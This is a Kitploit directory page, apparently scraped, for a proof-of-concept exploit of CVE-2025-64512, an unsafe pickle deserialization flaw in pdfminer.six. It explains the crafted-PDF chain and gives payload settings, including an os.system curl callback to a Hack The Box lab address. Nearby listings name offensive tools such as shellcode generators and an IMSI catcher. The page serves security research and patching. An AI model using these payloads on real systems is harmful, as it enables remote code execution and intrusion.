Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-64512-Exploit-PoC — Proof-of-concept exploit for CVE-2025-64512, an unsafe pickle deserialization RCE in pdfminer.six, with a crafted PDF payload chain and lab demonstration. | Kitploit
أدوات/GitHubGitHub/frexyy8989/cve-2025-64512-exploit-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubfrexyy8989/cve-2025-64512-exploit-poc

CVE-2025-64512-Exploit-PoC

Proof-of-concept exploit for CVE-2025-64512, an unsafe pickle deserialization RCE in pdfminer.six, with a crafted PDF payload chain and lab demonstration.

عرض المستودع
5 ديسمبر 2026لم تتم المراجعة بعد
مشاركة
المحتوى غير متوفر باللغة المطلوبة. عرض النسخة الإنجليزية.

CVE-2025-64512 – pdfminer.six PoC & Exploit

An independent Proof of Concept (PoC) implementation for CVE-2025-64512, a code execution vulnerability affecting pdfminer.six through unsafe pickle deserialization.

This repository demonstrates the vulnerability mechanism and includes an example based on the Bedside machine from Hack The Box.

Disclaimer: This is an independent research project. I am not the original vulnerability discoverer. All credit for the original discovery belongs to the researchers credited in the official security advisory.

Vulnerability Information

FieldDetails
CVECVE-2025-64512
Projectpdfminer.six
VulnerabilityArbitrary Code Execution
CWECWE-502 – Deserialization of Untrusted Data
SeverityHigh
CVSS8.2
Official AdvisoryGHSA-wf5f-4jwr-ppcp

How It Works

The vulnerability is related to unsafe pickle deserialization in CMapDB._load_data().

The function loads compressed pickle data using pickle.loads(). A crafted PDF can specify an alternative CMap path through its /Encoding entry.

When the PDF is processed, pdfminer attempts to load the corresponding .pickle.gz file. If an attacker-controlled pickle file is loaded, Python code can execute in the context of the process.

The general vulnerability chain is:

  1. A crafted PDF specifies an alternative CMap path.
  2. pdfminer resolves the CMap filename.
  3. The .pickle.gz file is loaded.
  4. Unsafe pickle deserialization occurs.
  5. The embedded Python code is evaluated.

Configuration

The PoC contains two values that need to be adapted to the authorized test environment:

path = "/path/of/pwn/gz"
code = "os.system('PAYLOAD') or exit(0) or {}"
  • path: The CMap path referenced by the crafted PDF. pdfminer appends .pickle.gz to the name.
  • code: The Python expression used in the demonstration payload.

Bedside – Hack The Box Example

For my Bedside HTB lab testing, the example configuration uses:

path = "/var/www/research.bedside.htb/uploads/pwn"
code = "os.system('curl 10.10.14.201:9999/frexy') or exit(0) or {}"

Replace the example callback address with the address of your own authorized lab machine.

Important: On Linux, the referenced .pickle.gz file must exist at the corresponding path on the target filesystem. Creating the file locally does not automatically place it on the target. The PDF path and the pickle file location must match.

Requirements

  • Python 3
  • pdfminer.six
  • Access to an authorized vulnerable test environment

Usage

  1. Clone this repository.
  2. Install the required dependencies.
  3. Configure the PoC paths and test parameters.
  4. Generate the demonstration files.
  5. Submit the PDF to your authorized test environment.
  6. Observe whether the vulnerable PDF processing path is triggered.

Mitigation

Upgrade pdfminer.six to a patched release.

Refer to the official advisory for affected versions and remediation details:

https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-wf5f-4jwr-ppcp

References

  • Official GitHub Security Advisory
  • pdfminer.six GitHub Repository

Author

Independent security research and PoC implementation.

This repository is intended for educational purposes, authorized penetration testing, and controlled lab environments only.

تنزيل الأداة

أدوات ذات صلة

  • metasploit-framework

    إطار عمل استغلال مفتوح المصدر مع نظام معياري للحمولات والمشفرات والمساعدات لاختبار الاختراق، والتحقق من الثغرات الأمنية، والبحث الأمني عبر الشبكات والتطبيقات.

  • donut

    يُولّد شيلكود مستقل عن الموقع (position-independent shellcode) من نوع x86 أو x64 أو AMD64+x86 يُحمّل تجميعات .NET وملفات PE وغيرها من تحميلات Windows من الذاكرة ويُشغّلها مع وسائط.

  • sRDI

    تنفيذ شيلكود لحقن DLL الانعكاسي. تحويل DLLs إلى شيلكود مستقل عن الموقع.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

  • 1

    ghostlock-app

    yukonga/ghostlock-app

    # تطبيق GhostLock للتنفيذ بنقرة واحدة (CVE-2026-43499)

    750
  • 2

    IMSIcatcher

    28zaaky/imsicatcher

    منصة IMSI Catcher تنشر خلية GSM مارقة لاعتراض الرسائل النصية القصيرة وحقن الرسائل وتتبع الأجهزة المحمولة

    739
  • 3

    Callisto

    jetp1ane/callisto

    أداة تحليل ثغرات ثنائية آلية تقوم بفك ترجمة الملفات التنفيذية عبر Ghidra، ومسح كود شبه-C باستخدام Semgrep، والتحقق من النتائج باستخدام GPT-3.5-Turbo لتقليل الإيجابيات الكاذبة.

    585
  • 4

    opencti

    opencti-platform/opencti

    منصة مفتوحة لاستخبارات التهديدات السيبرانية

    550
  • 5

    DFRoot

    a2333c/dfroot

    أداة root لنظام Android لهاتف Samsung Galaxy S25 Ultra (SM-S938B) تقوم بتسلسل DirtyFrag CVE-2026-43284 وCVE-2026-43499 للحصول على صلاحيات root تلقائيًا عند الإقلاع عبر KernelSU.

    414
  • 6

    ARTEX

    baarai/artex

    منصة اختبار اختراق مستقلة متعددة الوكلاء تعتمد على LLM، مع وكلاء تخطيط وتنفيذ، ومخططات للأصول والاستكشاف، وتسجيل حركة مرور MITM، وإعادة اختبار الثغرات.

    409

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →